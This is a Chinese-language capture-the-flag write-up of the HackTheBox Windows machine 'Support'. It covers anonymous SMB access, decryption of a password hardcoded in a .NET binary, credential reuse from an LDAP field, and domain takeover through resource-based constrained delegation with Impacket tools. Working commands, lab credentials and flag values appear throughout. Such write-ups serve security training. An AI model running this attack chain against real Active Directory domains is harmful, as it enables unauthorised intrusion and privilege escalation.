Machine -Support

https://app.hackthebox.com/machines/Support | Windows | ~~Easy~~ Medium

Recon

端口信息

使用 nmap 进行扫描

➜  Support nmap -sT -min-rate 5000 10.10.11.174
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 21:06 CST
Nmap scan report for support.htb (10.10.11.174)
Host is up (0.13s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

➜  Support nmap -sT -A -p 53,88,135,138,389,445,636,593,3268,3269 10.10.11.174
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 21:07 CST
Nmap scan report for support.htb (10.10.11.174)
Host is up (0.20s latency).

PORT    STATE    SERVICE       VERSION
53/tcp  open     domain        Simple DNS Plus
88/tcp  open     kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-04 12:45:55Z)
135/tcp open     msrpc         Microsoft Windows RPC
138/tcp filtered netbios-dgm
389/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open     microsoft-ds?
636/tcp open     tcpwrapped
593/tcp  open  ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap       Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-04T12:46:16
|_  start_date: N/A
|_clock-skew: -21m30s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   122.30 ms 10.10.16.1
2   237.33 ms support.htb (10.10.11.174)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.41 seconds

SMB 枚举

测试SMB是否允许匿名登录

➜  Support smbclient -L 10.10.11.174 -U anonymous                                      
Password for [WORKGROUP\anonymous]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

允许匿名登录，并且在support-tools中有一些工具，全部 get 下来

➜  Support smbclient //10.10.11.174/support-tools -U anonymous -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jul 21 01:01:06 2022
  ..                                  D        0  Sat May 28 19:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 19:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 19:19:55 2022
  putty.exe                           A  1273576  Sat May 28 19:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 19:19:31 2022
  UserInfo.exe.zip                    A   277499  Thu Jul 21 01:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 19:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 19:19:43 2022

                4026367 blocks of size 4096. 955928 blocks available
smb: \>

7-ZipPortable_21.07.paf.exe:
- 工具: 7-Zip Portable
- 用途: 这是一个便携版本的 7-Zip 文件归档器。7-Zip 是一款免费开源的压缩/解压缩软件，支持多种格式，如 7z, ZIP, GZIP, TAR, RAR 等。.paf.exe 通常是 PortableApps.com 格式的便携应用。
npp.8.4.1.portable.x64.zip:
- 工具: Notepad++ Portable (64位)
- 用途: 这是一个包含 Notepad++ 便携版的 ZIP 压缩文件。Notepad++ 是一款非常流行的免费源代码编辑器和 Windows 记事本替代品，支持多种编程语言，功能强大。
putty.exe:
- 工具: PuTTY
- 用途: 这是一个独立的 PuTTY 可执行文件。PuTTY 是一款广受欢迎的免费开源终端模拟器、串行控制台和网络文件传输应用程序。它最常用于通过 SSH、Telnet 或 rlogin 协议连接到远程服务器。
SysinternalsSuite.zip:
- 工具: Sysinternals Suite
- 用途: 这是一个包含微软 Sysinternals Suite 的 ZIP 压缩文件。Sysinternals Suite 是一套由 Mark Russinovich 开发的强大的 Windows 系统管理、故障排除和诊断工具集合（现在属于微软）。著名的工具包括 Process Explorer, Process Monitor, Autoruns, PsExec 等。
UserInfo.exe.zip:
- 工具: 未知 (可能为自定义或特定用途工具)
- 用途: 这是一个名为 UserInfo.exe 的可执行文件的 ZIP 压缩包。从名称上看，它可能是一个用于收集或显示用户信息的工具。这可能是系统管理员常用的自定义脚本或小程序，或者是特定场景下需要的工具。在渗透测试中，这类自定义工具往往值得进一步分析。
windirstat1_1_2_setup.exe:
- 工具: WinDirStat 安装程序
- 用途: 这是 WinDirStat 版本 1.1.2 的安装程序。WinDirStat 是一款磁盘使用情况统计查看器和清理工具，它可以图形化地显示磁盘空间占用情况，帮助用户找到占用空间大的文件和文件夹。
WiresharkPortable64_3.6.5.paf.exe:
- 工具: Wireshark Portable (64位)
- 用途: 这是一个便携版本的 Wireshark。Wireshark 是世界上应用最广泛的网络协议分析器，用于捕获和交互式浏览计算机网络上运行的流量。.paf.exe 格式表明它也是 PortableApps.com 的便携应用。

上面的所有应用中只有UserInfo.exe 不是公开的软件，我们可以着重对该软件进行分析

分析 UserInfo.exe

使用 dnSpy 来分析，该程序貌似是通过 LDAP 来检索用户信息，并且内置了用户（大致看懂）

下面的类 Protected 是加密密码的（这里开始使用AI来分析）

这一段代码其实是使用异或加密密码，并且秘钥是armando ，因此我们能够直接得到密码

using System;
using System.Text;

namespace UserInfo.Services
{
	// Token: 0x02000006 RID: 6
	internal class Protected
	{
		// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
		public static string getPassword()
		{
			byte[] array = Convert.FromBase64String(Protected.enc_password);
			byte[] array2 = array;
			for (int i = 0; i < array.Length; i++)
			{
				array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
			}
			return Encoding.Default.GetString(array2);
		}

		// Token: 0x04000005 RID: 5
		private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

		// Token: 0x04000006 RID: 6
		private static byte[] key = Encoding.ASCII.GetBytes("armando");
	}
}

通过 AI 生成解密脚本

import base64

# 从 C# 代码中获取的值
enc_password_b64 = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key_string = "armando"
xor_constant = 223

# 1. Base64 解码
try:
    encrypted_bytes = base64.b64decode(enc_password_b64)
except base64.binascii.Error as e:
    print(f"Base64 解码错误: {e}")
    exit()

# 2. 获取密钥的字节形式 (ASCII)
key_bytes = key_string.encode('ascii')

# 准备一个可变的字节数组来存放解密后的字节
decrypted_bytes = bytearray()

# 3. 执行 XOR 解密
for i in range(len(encrypted_bytes)):
    # C# 中的逻辑是: (byte ^ key_byte ^ 223)
    dec_byte = encrypted_bytes[i] ^ key_bytes[i % len(key_bytes)] ^ xor_constant
    decrypted_bytes.append(dec_byte)

# 4. 将解密后的字节数组转换为字符串
# C# 中的 Encoding.Default 行为可能依赖于系统区域设置。
# 我们首先尝试 'utf-8'，如果密码包含非 ASCII 字符且编码不同，可能需要调整。
# 对于这个特定的密码 "Cisco.12345"，'utf-8' 或 'ascii' 都可以。
try:
    final_password = decrypted_bytes.decode('utf-8')
except UnicodeDecodeError:
    # 如果 utf-8 失败，可以尝试其他编码，如 latin-1 (常用于模拟某些 Windows 默认编码)
    try:
        final_password = decrypted_bytes.decode('latin-1')
    except UnicodeDecodeError as e:
        print(f"字符串解码错误: {e}")
        print(f"解密后的字节（原始）: {decrypted_bytes}")
        final_password = "解码失败，请检查编码"

# 打印结果
print(f"Base64 编码的密文: {enc_password_b64}")
print(f"密钥字符串: {key_string}")
print(f"固定的 XOR 值: {xor_constant}")
print(f"解密后的字节 (十六进制): {decrypted_bytes.hex()}")
print(f"解密后的密码: {final_password}")

➜  Support python getpass.py       
Base64 编码的密文: 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
密钥字符串: armando
固定的 XOR 值: 223
解密后的字节 (十六进制): 6e764566454b31365e31614d3424653741636c55663878247452577850574f31256c6d7a
解密后的密码: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

而 LdapQuery 类的构造函数中能看到

public LdapQuery()
		{
			string password = Protected.getPassword();
			this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
			this.entry.AuthenticationType = AuthenticationTypes.Secure;
			this.ds = new DirectorySearcher(this.entry);
		}

创建 DirectoryEntry 对象时，第二个参数通常用于指定用户名。因此，这里的用户名是：support\ldap

这个格式 DOMAIN\username 表明 support 可能是域名或者工作组名，而 ldap 是具体的用户名。

我们直接测试凭据是否是正确的

➜  Support nxc ldap 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb
LDAP        10.10.11.174    389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
LDAP        10.10.11.174    389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

凭据是正确的

域分析

域初次分析

BloodHound 分析域

➜  Support bloodhound-python -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d 'support.htb' -ns 10.10.11.174 --zip -c All -dc 'support.htb'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: support.htb
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: support.htb
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SummerMachine.support.htb
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
WARNING: Could not resolve: SummerMachine.support.htb: The resolution lifetime expired after 3.104 seconds: Server Do53:10.10.11.174@53 answered The DNS operation timed out.
INFO: Done in 00M 23S
INFO: Compressing output into 20250605003230_bloodhound.zip

我们当前获得的用户 Ldap 的信息，仅仅只是域成员

所有的用户

我们查看远程组有哪些成员

SUPPORT用户信息

那我们大概是要先获取到SUPPORT 用户？但是现在没有别的信息了

LDAP 信息收集

所以我们先使用 LADP 用户进行信息收集，找一些有用的信息

我们首先查询用户信息

➜  Support ldapsearch -x -H ldap://10.10.11.174:389 -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=USERS,DC=SUPPORT,DC=HTB' -D 'CN=LDAP,CN=USERS,DC=SUPPORT,DC=HTB'

信息太多了…

我们尝试查一下SUPPORT 用户的信息

➜  Support ldapsearch -x -H ldap://10.10.11.174:389 -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=SUPPORT,CN=USERS,DC=SUPPORT,DC=HTB' -D 'CN=LDAP,CN=USERS,DC=SUPPORT,DC=HTB'
# extended LDIF                                     
#                                  
# LDAPv3     
# base <CN=SUPPORT,CN=USERS,DC=SUPPORT,DC=HTB> with scope subtree
# filter: (objectclass=*)
# requesting: ALL                                                                                                 
#                                       
                                                         
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support    
c: US      
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
**info: Ironside47pleasure40Watchful**
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==

其中的info字段很有趣，可能就是该用户的凭据

info: Ironside47pleasure40Watchful

测试凭据，假如该凭据有效，那么我们就可以对DC进行远程了

➜  Support nxc wmi 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful' -d support.htb
RPC         10.10.11.174    135    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
RPC         10.10.11.174    135    DC               [+] support.htb\support:Ironside47pleasure40Watchful

该凭据有效

➜  Support evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents>

Support用户Desktop文件夹可以得到 user.txt

*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
d52f8d3f19ac0230628b1805483c760c

权限提升

首先使用 Winpeas 走一波，没有很多的有用的信息

BloodHound再进行分析，发现Support用户对DC有GenericAll权限

RBCD 基于资源约束委派

Support用户对DC有GenericAll权限，我们可以完全控制DC

这里可以打 RBCD

首先创建计算机账户

➜  Support addcomputer.py support.htb/support:'Ironside47pleasure40Watchful' -computer-name TEST\$ -computer-pass 123456 -dc-host support.htb -dc-ip 10.10.11.174
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account TEST$ with password 123456.

RBCD 委派设置，以support的身份登录到DC，修改计算机账户DC$的一个属性msDS-AllowedToActOnBehalfOfOtherIdentity

➜  Support rbcd.py support.htb/support:'Ironside47pleasure40Watchful' -dc-ip 10.10.11.174 -action write -delegate-to DC\$ -delegate-from TEST\$ 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] TEST$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     TEST$        (S-1-5-21-1677581083-3380853377-188903654-5601)

最后利用 S4U 协议伪造 Administrator 用户申请 ST

➜  Support getST.py -spn cifs/DC.support.htb -impersonate administrator support.htb/TEST\$:'123456' -dc-ip 10.10.11.174
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache

➜  Support export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache

➜  Support psexec.py support.htb/administrator@dc.support.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file niOpACUP.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service oDhJ on dc.support.htb.....
[*] Starting service oDhJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

读取 root.txt

C:\Users\Administrator\Desktop> type root.txt
89306b6f9ce190f011354f60b3342424

HackTheBox - Machine - Support